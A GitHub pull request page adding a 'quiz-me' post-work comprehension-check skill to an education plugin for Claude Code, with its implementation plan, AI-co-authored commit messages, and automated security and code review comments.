Skip to content

feat(education): add quiz-me post-work comprehension-verification skill - #807

Merged
kyle-sexton merged 12 commits into
mainfrom
feat/799-education-quiz-me
Jul 21, 2026
Merged

feat(education): add quiz-me post-work comprehension-verification skill#807
kyle-sexton merged 12 commits into
mainfrom
feat/799-education-quiz-me

Conversation

@kyle-sexton

Copy link
Copy Markdown
Contributor

Adds the third education sibling: /education:quiz-me, a post-work comprehension check. After a change completes it generates a self-contained HTML report (context, intuition, decisions) with a quiz at the bottom the user answers — verifying the HUMAN absorbed the work, never the artifact. Non-gating: quiz_policy tunes offer cadence only and no report generates without user confirmation. A recall <query> action answers "what did we do on " from the retained report library first (coverage bounded to quizzed work), git/tracker archaeology second. Reports are keyed on repo identity (worktree-safe), stored under ${CLAUDE_PLUGIN_DATA} or the new report_library_dir userConfig, never in the consuming repo's tree, with durable-pointer-only references and an embedded answer key so later sessions can grade.

Source practice: Thariq Shihipar (Anthropic) — "Field Guide to Fable" + Peter Yang episode; canonical prompt honored verbatim.

Fresh-docs verified this session (repo CLAUDE.md mandate):

Gates (all exit 0): skill-quality check (0 err/0 warn, 176/500 lines, description 825/1536), changelog parity --check-bump, evals schema (check-jsonschema), catalog parity, leaf-name check, portability lint, markdownlint, validate-plugins.

Closes #799

Related

PLAN.md (approved plan — contract slice pruned before merge)

Education quiz-me — post-work comprehension verification

Tracker: #799 (contract locked in interview session
claude-loop-practices, 2026-07-21; retention seam added in issue follow-up comment).

Brief

TLDR

  • Add a third sibling skill to the education plugin (teach = multi-session coach,
    explain = one-shot altitude drop): after Claude completes a change, generate an HTML
    report of what was done (context, intuition, decisions) with an embedded quiz the user
    answers — verifying the HUMAN absorbed the work, never the artifact.
  • Non-gating by default. Opt-in gating via userConfig quiz_policy: off | on-request | always | above-threshold.
  • Quiz/report artifacts are never committed to the product repo: configurable retention
    destination via userConfig, default a local disk library; a companion retrieval flow
    answers "what did we do on ticket X" from that library first, git/ticket archaeology
    second.
  • quiz-me is the working label, not locked — final name via the codified naming grammar.

Goal

Failure mode (source: Thariq Shihipar, Anthropic — "Field Guide to Fable" talk + Peter Yang
episode): "people still glaze over the plans and explainers," so the human merging a PR
cannot represent the change to a reviewer and their mental model of the codebase decays,
degrading future prompting. Outcome: a post-work skill that quizzes the user on the
completed work (representation accountability, loop retention, and secondary late
intent-mismatch detection — a failed quiz surfaces "that's not what I intended" pre-merge),
with the report retained as a queryable record (retention-at-write replacing
retrieval-at-need).

Constraints

  • Object under test is the human, not the artifact. verification:confirm owns
    artifact verification; no overlap. Composition with gate sequences (e.g. session-flow
    workflow) by pointer only — this skill never edits other plugins' gate lists.
  • Repo CLAUDE.md design rules govern: fresh-docs mandate (WebFetch current skills/plugins
    doc pages before editing, cite URLs), repo-agnostic, plugin-form-safe
    (${CLAUDE_PLUGIN_ROOT} / ${CLAUDE_PLUGIN_DATA}), configurable via userConfig only.
  • /skill-quality:check gate passes for every touched skill (listing-budget cap,
    trigger-keyword preservation).
  • HTML report + embedded quiz per the canonical prompt pattern (verbatim prompt in
    https://claude.com/blog/a-field-guide-to-claude-fable-finding-your-unknowns); markdown
    fallback per project convention.
  • Retention: artifacts never land in the consuming repo's tree; destination is a userConfig
    seam with a local disk library default. Same destination-config problem class as knowledge: library_dir seam accepts only literal paths — machine-specific config collides with hardcoded-path guardrail #798
    (library_dir portability) — compose, don't fork a second convention.
  • Education plugin README currently states the plugin has no userConfig; this change
    makes that false — README configuration section must be updated in the same PR.
  • PR required; squash merge; Conventional Commits title; branch feat/799-education-quiz-me.

Acceptance criteria

  • New skill under plugins/education/skills/<final-name>/ whose SKILL.md triggers on
    post-work comprehension requests and generates report + quiz per the canonical pattern.
  • Default behavior is non-gating (comprehension aid); quiz_policy userConfig documented
    with the four values above; above-threshold keyed to change size / blast radius.
  • Retention destination userConfig with local-library default; generated artifacts land
    there, never in the product repo working tree.
  • Retrieval flow exists ("what did we do on ticket X" → retained library first) — shape
    (skill action vs documented query pattern) decided in the plan.
  • Boundary documentation: distinction from /planning:interview (pre-work, extracts the
    USER's intent — user holds answers) and verification:confirm (object = artifact) is
    stated where a consumer would look for it.
  • /skill-quality:check passes; education plugin version bump + CHANGELOG entry; README
    configuration section updated.

Captured assumptions

Out-of-scope

  • Obsidian-vault retention adapter — recorded as a deferred seam (destination userConfig is
    the extension point); do not design now.
  • Editing other plugins' gate sequences to insert this skill (pointer-composition only).
  • Artifact verification of any kind (verification:confirm owns it).

Deferred questions

Plan

Standards grounding: repo CLAUDE.md (fresh-docs mandate, plugin design rules, branching/PR),
docs/PLUGIN-PHILOSOPHY.md (naming grammar §Naming, composition-by-pointer, userConfig
ownership + native-first, version single-home), docs/MIGRATION-PLAYBOOK.md (userConfig seam
1, security-review trigger scope, changelog rule). Exploration evidence:
.work/education-quiz-me/EXPLORE.md (memory tier). Design sketch:
design/design-resolution.md.

Resolved decisions (Brief "Deferred questions")

  1. Final name: quiz-me — grammar check (docs/PLUGIN-PHILOSOPHY.md §Naming):
    imperative verb phrase ✓; quiz carries no fixed verb meaning (no collision with
    audit/scan/check semantics — check-understanding was rejected precisely because
    check means a deterministic pass/fail gate and this skill is non-gating); the -me
    qualifier is load-bearing — it names the object under test (the human), the skill's
    defining boundary vs teach's assess action and verification:confirm. Composes:
    "/education:quiz-me on this change". Rejected: bare quiz (under-specifies vs teach's
    in-workspace quizzing), debrief-me (loses the test/verification element).
  2. above-threshold bar — the completed change meets ANY of: >5 files touched,

    200 changed LOC, or the governing plan records blast radius HIGH/CRITICAL. Judged from
    git diff --stat at offer time; documented in SKILL.md.

  3. Retrieval flow: recall action in the same skill — action router with two actions:
    default (generate report + quiz for the change just completed) and recall <query>
    (answer "what did we do on ticket X" from the retained library first, git/tracker
    archaeology second, stating which source answered). Approval-round bound (2026-07-21):
    recall's coverage is only work that WAS quizzed — retention-at-write, not a general
    work-history engine; the skill states that boundary when answering and routes unquizzed
    work to the archaeology fallback rather than implying library completeness.
  4. Retention default: ${CLAUDE_PLUGIN_DATA} — artifacts land under
    ${CLAUDE_PLUGIN_DATA}/<repo-slug>/quiz-me/reports/<date>-<change-slug>-<short-hash>.html.
    report_library_dir (type directory) userConfig overrides toward a corpus checkout;
    unset = plugin-data default. Guardrail-safe (no machine-specific literal needed),
    zero-config, survives plugin updates; adopts knowledge: library_dir seam accepts only literal paths — machine-specific config collides with hardcoded-path guardrail #798's indirection scheme for literal-path
    overrides when that lands.
  5. Library keyed on repo identity, not checkout path<repo-slug> = repo basename +
    8-hex sha256 of the canonicalized origin remote URL (fallback: teach's
    project-path recipe when no remote). Deviates deliberately from teach's
    path-keyed slug: this repo's own workflow runs per-ticket worktrees that are pruned
    after merge, so path-keyed retention would strand every report under a dead slug and
    recall from the main clone would find nothing — repo-identity keying makes reports
    from all worktrees land in one library. Side benefit: quiz-me's tree never collides
    with teach's path-keyed slugs in the shared per-plugin ${CLAUDE_PLUGIN_DATA}; the
    quiz-me/ path segment adds a second fence.
  6. Answer key persists with the artifact — the report embeds the key (collapsed
    <details> in HTML; appendix section in markdown fallback). Grading is
    in-conversation same-session; a later or compacted session grades by reading the key
    from the retained artifact, re-deriving from report + diff only when the key is
    missing. Without this, the retention use case ("quiz me on ticket X from last week")
    could not be graded at all.
  7. No setup skill — the userConfig is two optional scalars whose defaults preserve
    zero-config behavior, below PLUGIN-PHILOSOPHY's "non-trivial" bar (knowledge's setup
    skill exists for its external prerequisites, not merely for library_dir). Recorded
    so the conformance audit doesn't read silence as a gap.
  8. Offer mechanism is best-effort, no hook; generation ALWAYS user-confirmed
    approval-round bound (2026-07-21): every quiz_policy value governs offer cadence
    only (off never offers, on-request only when asked, always suggests after each
    completed change, above-threshold suggests when the bar is met); no value
    auto-generates — the report+quiz is produced only after the user accepts the offer,
    and a direct invocation ("quiz me") is itself that acceptance. Offers are
    model-initiated via description triggers + documented posture, explicitly best-effort
    in SKILL.md. A Stop/skill-scoped hook was evaluated and rejected: it would add a code
    trust surface (re-triggering the acceptance security review) and a kill-switch config
    for a nicety; revisit only if usage shows offers reliably missed. Threshold judged
    against git diff --stat $(git merge-base HEAD <default-branch>)..HEAD at offer time
    (well-defined even after commits). quiz_policy unknown values fall back to
    on-request, documented in the userConfig description (claude-ops precedent).
  9. Report reference discipline (approval-round bound, 2026-07-21) — reports are
    self-contained; external references restricted to durable, checkout-independent
    pointers: PR/issue URLs, commit SHAs/permalinks, promoted docs reachable on the
    default branch. Never memory-tier paths (.work/… never leaves its checkout) and
    never contract-slice paths (docs/topics/… is pruned before merge) — both dangle.
    Ephemeral inputs (exploration/research artifacts, session context) are distilled
    inline instead of linked. This is the topic-docs pointer discipline applied to the
    report artifact; no new linking mechanism.

Phase 1: SKILL.md authoring [TODO]

Fresh-docs fetch first (repo CLAUDE.md mandate): skills page + plugins-reference page;
cite URLs in the PR. Then author plugins/education/skills/quiz-me/SKILL.md:

  • Frontmatter: name: quiz-me; user-invocable: true; NO disable-model-invocation
    (policy always/above-threshold requires model-initiated offers; description guards
    triggers). Description ≤1536 chars with single-quoted 'Use when' triggers ('quiz me',
    'do I understand this change', 'what did we do on', 'comprehension check', canonical
    blog phrasing 'quiz at the bottom … that I must pass').
  • Body (soft target <200 lines): Purpose (object under test = human; three value props
    from issue); Effective configuration table (quiz_policy default on-request,
    report_library_dir unset → plugin-data; surviving-placeholder-means-unset rule);
    Action router (default = generate, recall <query>); Report contract (self-contained
    single-file HTML, inline CSS/JS, no remote fetch, file://, synthetic/no secrets —
    teach context/lessons.md precedent; markdown fallback; quiz at bottom per canonical
    prompt; answer key embedded collapsed in the artifact per decision 6, grading
    in-conversation same-session or key-read later; failed quiz surfaces possible intent
    mismatch pre-merge; reference discipline per decision 9 — durable pointers only,
    ephemeral inputs distilled inline); Retention mechanics (repo-identity slug per
    decision 5, filename short-hash, never writes the consuming repo's tree); Non-gating
    posture + policy semantics (offer-cadence-only policies, generation always
    user-confirmed, best-effort offers, threshold base, unknown-value fallback per
    decision 8); recall coverage boundary (decision 3); Boundaries ("What this
    skill does NOT do": verification:confirm, planning:interview, teach assess/exercise
    disambiguation); Gotchas.
  • Pointer-composition only: any cross-plugin mention presence-gated ("if installed").

Sanity Check: CHECK_SKILL_SKILLS_ROOT="$PWD/plugins/education/skills" bash plugins/skill-quality/scripts/check-skill.sh quiz-me exits 0 (the invocation shape scripts/check-changed-skills.sh itself uses); grep -c '' plugins/education/skills/quiz-me/SKILL.md < 500.

Phase 2: Manifest, config, plugin docs [TODO]

  • plugins/education/.claude-plugin/plugin.json: add userConfig (quiz_policy string
    default "on-request"; report_library_dir directory, no default), bump version
    0.4.00.5.0, add keywords (quiz, comprehension).
  • plugins/education/CHANGELOG.md: top-insert ## [0.5.0] ### Added entry.
  • plugins/education/README.md: skill list + sibling framing gains quiz-me; Configuration
    section rewritten (drops "no userConfig", documents both keys + defaults); Requirements
    unchanged (no new dependency — reuses declared Bash + coreutils).
  • teach and explain SKILL.md stay untouched (trigger-preservation risk; sibling framing
    lives in README — status quo pattern).

Sanity Check: jq -e '.version=="0.5.0" and (.userConfig|has("quiz_policy") and has("report_library_dir"))' plugins/education/.claude-plugin/plugin.json; bash scripts/check-changelog-parity.sh --check-bump origin/main exits 0 (--check alone would pass without the 0.5.0 entry — it only asserts the file exists).

Phase 3: Evals [TODO]

plugins/education/skills/quiz-me/evals/evals.json (skill_name: quiz-me, sibling
schema shape), ~6 evals: canonical-prompt trigger produces report+quiz; default policy is
non-gating (no unsolicited block); quiz_policy: off respected; artifact never written to
repo tree; recall queries library before git archaeology; boundary handoff (artifact
verification request routes to verification:confirm, not quizzed).

Sanity Check: validate plugins/education/skills/quiz-me/evals/evals.json against plugins/skill-quality/reference/evals.schema.json with one of the validators skill-quality:check itself accepts — check-jsonschema (Python/pipx), ajv, or python -m jsonschema — exit 0 (check-jsonschema is NOT an npm package; npx cannot run it).

Phase 4: Catalog + marketplace [TODO]

  • node scripts/generate-catalog.mjs — regenerate root README.md catalog block.
  • .claude-plugin/marketplace.json: add quiz / comprehension to the education entry's
    tags (discovery-tag change; the explain exemplar did the same).

Sanity Check: after editing marketplace tags, run node scripts/generate-catalog.mjs then git diff --exit-code README.md exits 0 (catalog is a committed regeneration, not drift); jq -e '.plugins[]|select(.name=="education").tags|index("quiz")' .claude-plugin/marketplace.json exits 0.

Phase 5: Gate sweep [TODO]

Run the CI-mirroring local gates over the diff: scripts/check-changed-skills.sh origin/main,
scripts/check-skill-leaf-names.sh --check (register quiz-me if a cross-plugin
collision is reported — none known), scripts/check-skill-portability.sh, markdownlint
(npx --no-install markdownlint-cli2), scripts/validate-plugins.sh.

Sanity Check: every listed script exits 0.

Blast radius

LOW — additive prompt-only skill inside one plugin; no cross-plugin edits, no hooks, no
scripts, no network, no new trust surface (no security-review re-trigger per
docs/MIGRATION-PLAYBOOK.md); worst regression is a bad new skill that consumers simply
don't invoke, plus a README/manifest documentation error.

Stress-test summary

Fresh-context plan reviewer (Step 3): 1 CRITICAL + 6 IMPORTANT + 4 SUGGESTION, all
verified and folded in — corrected the check-skill.sh invocation (needs
CHECK_SKILL_SKILLS_ROOT), changelog gate (--check-bump origin/main), evals validator
(check-jsonschema is Python, not npm); resolved the worktree-pruned-slug retention trap
(decision 5), later-session answer-key grading (decision 6), setup-skill silence
(decision 7), best-effort offer semantics + threshold diff base + unknown-value fallback
(decision 8), plugin-data coexistence with teach and filename collisions (decisions 4-5).
Formal /devils-advocate skipped: blast radius LOW, no trigger matched.

Execution shape

Fully sequential, single implementation lane — all five phases write inside
plugins/education/ + two root catalog files; file overlap and the version/CHANGELOG
coupling make parallel waves pointless. Routing: one scope-fenced implementation subagent
executes Phases 1–5 (orchestrator never edits source, per the work-items dispatch
posture); main session verifies returns and owns PLAN.md updates.

Open questions

None blocking; user-overridable decisions listed under "Decisions made" in the approval
presentation.

Handoff to implementation

User-approval gates

  • Plan approval itself (pending — presented at end of planning session).
  • Skill NAME quiz-me — hard to reverse post-publish (rename sweep); flagged for explicit
    confirmation at plan approval.

Execution shape ([EXEC-SHAPE] tagged)

  • [EXEC-SHAPE] Sequential single-worker dispatch; worker ALLOWED:
    plugins/education/**, README.md (regen only), .claude-plugin/marketplace.json
    (tags only). FORBIDDEN: everything else, docs/topics/** (PLAN.md is
    main-session-owned), other plugins.
  • [EXEC-SHAPE] Omit disable-model-invocation on quiz-me (policy-driven offers need
    model invocation; explain precedent).
  • [EXEC-SHAPE] teach/explain SKILL.md untouched; sibling framing via README only.
  • [EXEC-SHAPE] above-threshold numbers (>5 files / >200 LOC / blast ≥ HIGH).
  • [FALLBACK — confirm or override] If knowledge: library_dir seam accepts only literal paths — machine-specific config collides with hardcoded-path guardrail #798's indirection scheme lands mid-implementation,
    adopt it for report_library_dir literal-path overrides; otherwise document literal
    paths as guardrail-constrained (same caveat knowledge README carries).

Mechanical work

Commit per phase or logical pair (Conventional Commits, feat(education): … PR title);
squash merge; PR body: Closes #799, ## Related (#798, knowledge-corpus digest PR 3),
attribution trailer + session link; PLAN.md phase tags advance with each phase's commit;
close-out (PR time): paste PLAN.md into PR <details>, prune docs/topics/education-quiz-me/
before merge per /planning:plan close-out.

🤖 Generated with Claude Code

https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL

kyle-sexton and others added 7 commits July 21, 2026 02:48
#799)

Contract slice for the education quiz-me skill: interview-locked Brief,
Tier-B design resolution, and the five-phase plan with reviewer findings
folded in. Awaiting plan approval before implementation.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
Generation always user-confirmed (policies are offer-cadence only), recall
coverage bounded to quizzed work, report reference discipline restricted to
durable checkout-independent pointers with ephemeral inputs distilled inline.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
Post-work comprehension-verification skill: after a change is complete,
generate a self-contained HTML report of what was done with a quiz the
human answers, verifying the person absorbed the work rather than the
artifact. Non-gating by default with opt-in gating via a quiz_policy
userConfig; retention to a repo-identity-keyed library under
CLAUDE_PLUGIN_DATA; a recall action queries the retained library first,
git/tracker archaeology second. Boundaries documented against
verification:confirm, planning:interview, and teach assess/exercise.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
…config

Add the plugin's first userConfig (quiz_policy string default on-request;
report_library_dir directory, no default), bump 0.4.0 -> 0.5.0, and add
the quiz/comprehension keywords. Top-insert the 0.5.0 CHANGELOG entry.
Rewrite the README Configuration section — which previously stated the
plugin has no userConfig — to document both keys and their defaults, and
add quiz-me to the skill list and sibling framing.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
Six model-graded evals covering the load-bearing behaviors: canonical
blog prompt yields report + quiz with an embedded answer key; default
policy is non-gating; quiz_policy off suppresses unsolicited offers;
artifacts land in the repo-identity-keyed library, never the repo tree;
recall queries the library before git/tracker archaeology and names its
coverage boundary; an artifact-verification request routes to
verification:confirm instead of being quizzed.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
Add quiz and comprehension to the education marketplace entry's discovery
tags, and regenerate the root README plugin catalog so its education
description matches the updated manifest.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
…semantics

The approval-round bound made quiz_policy govern offer cadence only — no
value gates a merge and no value auto-generates. Replace the residual
"opt-in gating" phrasing in four places (the SKILL.md frontmatter
description, the SKILL.md "What this skill does NOT do" merge-gate bullet,
the 0.5.0 CHANGELOG entry, and the README quiz-me bullet) with
offer-cadence wording that no longer implies quiz_policy can block a
merge. The README Configuration table row was already correct.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 3m 4s —— View job


Security Review — PR #807 feat(education): add quiz-me post-work comprehension-verification skill

  • Gather PR diff and changed files
  • Read SKILL.md for command injection / path traversal / template injection surfaces
  • Read plugin.json for userConfig and trust-surface changes
  • Read evals.json for schema / data-egress concerns
  • Read marketplace.json and README for supply-chain / disclosure issues
  • Synthesize findings and post review

Security review findings

Scope reviewed: all 9 files changed in this PR (SKILL.md, plugin.json, evals.json, marketplace.json, education/README.md, CHANGELOG.md, docs/topics/education-quiz-me/PLAN.md, design-resolution.md, root README.md).

Trust-surface classification: This is a prompt-only skill addition — no hooks, no executable scripts, no MCP servers, no new npm/pip dependencies, no GitHub Actions changes. The blast radius stated in the plan (LOW) is accurate. No security-review re-trigger is warranted under the repo's playbook.


Shell code in SKILL.md retention-mechanics snippet — no injection

The bash snippet at SKILL.md lines 88–100 is instruction prose that Claude follows when computing the repo slug. Every variable interpolation that feeds untrusted external data (the origin remote URL, CLAUDE_PROJECT_DIR) is passed through printf '%s' "$var" before entering sed/tr pipelines. The data flow is:

  • git remote get-url origin → string captured into $url
  • printf '%s' "$url" → pipe to sed (data, not shell command)
  • printf '%s' "$canon" → pipe to sha256sum/shasum (data, not shell command)
  • "${CLAUDE_PROJECT_DIR}" is double-quoted throughout (realpath, readlink -f, basename)

No command injection surface. A maliciously crafted remote URL (e.g., containing $(...)) cannot escape the printf '%s' boundary.

report_library_dir userConfig — user-controlled write target

plugin.json lines 33–38 declares report_library_dir as type directory. Reports land at <report_library_dir>/$repo_slug/quiz-me/reports/. Because this path is set by the local user who already owns their filesystem, there is no privilege escalation risk. The SKILL.md correctly notes that literal non-home paths may be blocked by platform guardrails (same class as issue #798). No finding.

HTML report with embedded answer key — local-only artifact

The report is generated by Claude, opened via file://, and never fetched from a remote origin. The no-remote-fetch instruction (SKILL.md line 59) and the synthetic-data-only instruction (SKILL.md line 59) close the obvious XSS and secret-exfiltration paths. The embedded <details> answer key is accessible to any reader of the local file, which is the intended design (for later-session grading). No finding.

recall <query> — no shell passthrough of untrusted query

The recall <query> action routes the query to a library search. There is no instruction that pipes $ARGUMENTS into a shell command. Claude is expected to interpret and search semantically. No injection surface.

No new hooks, workflows, MCP servers, or remote trust surfaces

Confirmed across all changed files. No pull_request_target / workflow_run changes. No action-pin relaxations. No secrets handling. No third-party dependencies introduced.


Summary

No security issues found. This PR introduces a prompt-only skill with no executable attack surfaces. The shell snippet in the retention-mechanics section is correctly quoted and injection-safe; the userConfig seam is user-controlled with no privilege escalation path; the HTML report is a local file:// artifact with no remote fetch; and no new hooks, scripts, MCP servers, or workflow changes were introduced. The PR's own blast-radius assessment (LOW) and the no-security-review-trigger conclusion both hold.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 41s —— View job


PR Review: feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and understand the request
  • Read PR diff and changed files
  • Review SKILL.md for correctness and policy alignment
  • Review plugin.json manifest changes
  • Review evals.json
  • Review documentation changes (README, CHANGELOG)
  • Check marketplace.json and catalog
  • Assess security posture
  • Post final review

Finding 1 — CRITICAL: docs/topics/education-quiz-me/ not pruned before merge

The PLAN.md included in this PR's <details> block states the close-out step explicitly:

close-out (PR time): paste PLAN.md into PR <details>, prune docs/topics/education-quiz-me/ before merge per /planning:plan close-out.

The paste step was done, but the two planning files are still in the branch diff and would land in main:

This directly contradicts the policy the SKILL.md itself encodes for reports: "contract-slice paths (docs/topics/…) is pruned before merge — both dangle". Merging these files creates exactly the dangle the skill warns against: a checkout-local path that is meaningless to any consumer of the installed plugin. Delete both files from the branch before squash-merging.

Fix this →


Finding 2 — MINOR: <default-branch> placeholder left unresolved in threshold command

SKILL.md line 127:

git diff --stat "$(git merge-base HEAD <default-branch>)"..HEAD

<default-branch> is an angle-bracket placeholder. A model reading this would need to resolve it (to main, master, trunk, etc.) before executing. The sibling threshold doc in PLAN.md decision 8 says "well-defined even after commits," which is true once the branch name is known — but the snippet as written would silently produce wrong output if run verbatim. Consider either replacing the placeholder with a resolution step ($(git remote show origin | grep 'HEAD branch' | awk '{print $NF}')) or adding a parenthetical like "replace <default-branch> with the repo's default branch name (e.g. main)."


Finding 3 — MINOR: design-resolution.md has a stale retention path

design-resolution.md line 16 gives the default destination as ${CLAUDE_PLUGIN_DATA}/<project-slug>/reports/, but the plan's Decision 5 (and the final SKILL.md) settled on ${CLAUDE_PLUGIN_DATA}/$repo_slug/quiz-me/reports/ — adding the quiz-me/ fence segment to prevent collisions with teach's workspaces. This is only material if these files survive (see Finding 1); if they are pruned, no action needed here.


Strengths

SKILL.md is well-executed:

  • Description (825/1536 chars) includes all specified trigger phrases verbatim and stays well within the listing budget
  • Action router, report contract, retention mechanics, and non-gating posture sections are internally consistent and cross-check against each other correctly
  • The repo-identity slug derivation (lines 88–100) is sound: sha256sum/shasum -a 256 fallback is correct for macOS/Linux cross-platform; the tr -cs 'a-z0-9' '-' squeeze-replace and sed cleanup are robust; the no-remote fallback to project-path recipe is present and correct
  • Boundary documentation (What this skill does NOT do, Gotchas, Composition) is precise and consistently uses the presence-gated "if installed" form for cross-plugin references
  • The embedded-answer-key rationale is well-motivated: a report recalled weeks later from a different session can still be graded

Evals (6 scenarios) cover all the critical behavioral contracts: canonical prompt triggers report+quiz; default policy is non-gating; quiz_policy: off suppresses offers; artifact retention goes to CLAUDE_PLUGIN_DATA not the repo tree; recall searches library first and names the coverage boundary; artifact-verification requests route to verification:confirm. Expectations are specific and verifiable.

plugin.json userConfig is correctly structured: quiz_policy has type/title/description/default; report_library_dir has type directory and correctly omits a default (preserving zero-config behavior). Version bump 0.4.0 → 0.5.0 and CHANGELOG entry are present and consistent.

README correctly replaces the old "no userConfig" claim with a complete Configuration section documenting both keys, their defaults, and the #798 caveat for literal-path guardrails.

Security posture is clean: prompt-only skill, no hooks, no code execution trust surface, no remote MCP, all artifacts routed to ${CLAUDE_PLUGIN_DATA} or the userConfig override — never the product repo's tree. No security review re-trigger.


Summary: One required pre-merge action (prune the docs/topics/education-quiz-me/ contract-slice files), one minor documentation clarity issue in the threshold command, and one stale internal draft detail that goes away with the prune. Core skill, evals, manifest, and docs are sound.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: a714a0dd1c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/education/skills/quiz-me/SKILL.md Outdated
kyle-sexton and others added 2 commits July 21, 2026 03:33
… exception entry, policy evals, library_dir phrasing

Address four branch-owned findings from the PR #807 independent review:

1. Retention slug split across SSH vs HTTPS remotes of the same repo
   (git@host:org/repo.git and https://host/org/repo.git hashed
   differently). Root-cause fix in the SKILL.md slug snippet: normalize
   the remote to a protocol-agnostic host/org/repo form (strip scheme,
   userinfo, and scp-style colon) before hashing, and note in the prose
   that SSH and HTTPS remotes of one repo now share a library.
2. quiz-me's object-pronoun qualifier was a fifth naming deviation with
   no entry on PLUGIN-PHILOSOPHY.md's per-name exception list, its
   rationale living only in the prunable plan slice. Add the entry in the
   existing style.
3. Evals covered only 2 of 4 quiz_policy branches. Add above-threshold
   (offer, not auto-generate; generation still waits for acceptance) and
   always (offer after a change; declining produces no report).
4. "same class as knowledge's library_dir" overstated the parallel
   (library_dir is project-relative; report_library_dir is a standalone
   base path). Rephrase SKILL.md and README to claim only the shared
   hardcoded-path-guardrail collision and #798 indirection adoption.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
Close-out per the topic-docs lifecycle: the approved PLAN.md is published
in the PR #807 description; the naming-grammar exception graduated into
docs/PLUGIN-PHILOSOPHY.md; remaining follow-up work is tracked in #798.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 25s —— View job


PR Review: feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and understand the request
  • Verify prune commit removed docs/topics files
  • Read SKILL.md (full content)
  • Read plugin.json and evals.json
  • Check remaining findings from prior review
  • Post final review

Status

The previous review's CRITICAL finding is resolved. Commit 0359bf8 deleted docs/topics/education-quiz-me/PLAN.md and docs/topics/education-quiz-me/design/design-resolution.md before merge, exactly as the close-out step required. The stale-path finding on design-resolution.md went with it.

The fix commit ac9c875 also addressed four pre-review branch issues: protocol-agnostic SSH/HTTPS slug normalization, the quiz-me naming-exception entry in docs/PLUGIN-PHILOSOPHY.md, two missing quiz_policy branch evals (above-threshold, always), and report_library_dir phrasing.


Finding 1 — MINOR: <default-branch> placeholder unresolved in threshold command

SKILL.md line 129:

git diff --stat "$(git merge-base HEAD <default-branch>)"..HEAD

<default-branch> is a literal angle-bracket placeholder. A model reading this verbatim would either halt to ask what to substitute or silently produce a wrong base. This was flagged in the prior review and is still unresolved in the branch. Two options:

  • Replace with a resolution sub-command: "$(git remote show origin | awk '/HEAD branch/ {print $NF}')", or
  • Add an inline annotation: `<default-branch>` — replace with `main`, `master`, or the repo's actual default

Fix this →


Finding 2 — MINOR: Install command examples omit plugin target (Codex alignment)

SKILL.md line 43–44 and README.md line 93:

# SKILL.md
claude plugin install --config KEY=VALUE

# README.md
claude plugin install --config quiz_policy=always

Both snippets are missing the plugin identifier that the CLI requires (claude plugin install <plugin> --config KEY=VALUE). A user copying either command verbatim would get a parse error. The correct form is claude plugin install education@melodic-software --config quiz_policy=always. (Flagged independently by the Codex review; confirmed by inspecting the two snippets — neither names the plugin.)

Fix this →


Strengths

Prune and naming-exception graduation are well-executed. The docs/PLUGIN-PHILOSOPHY.md update correctly records quiz-me as a fifth documented naming exception with a clear rationale tied to the object-pronoun qualifier's load-bearing role — consistent with the list's style and with "every exception is an entry on this list, decided per name."

Evals grew from 6 to 8 with complete policy coverage. The above-threshold eval (id 7) correctly distinguishes offer-not-auto-generate, and the always-plus-decline eval (id 8) closes the gap on what happens when the user declines an offer. All expectations are specific and independently verifiable.

Slug normalization fix is sound. The sed pipeline in the retention-mechanics snippet now strips the scheme (^[a-z+]*://), userinfo (^[^@/]*@), and scp-style colon (:/) before hashing, so git@github.com:org/repo.git and https://github.com/org/repo.git hash identically. The prose calls this out explicitly.

Core skill, manifest, and docs are internally consistent. quiz_policy values, offer-cadence-only semantics, generation-always-user-confirmed, and the recall coverage boundary are stated consistently across SKILL.md, plugin.json, evals, README, and CHANGELOG. No contradictions found.


Summary: Two minor findings remain — the <default-branch> placeholder (carry-over from the prior review) and the incomplete install-command examples (flagged by Codex, confirmed). The CRITICAL prune requirement and all prior review findings are resolved. The skill, evals, and documentation are otherwise ready.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 30s —— View job


Security Review — PR #807 feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and understand the request
  • Fetch PR diff
  • Read SKILL.md — injection surfaces, shell snippet safety
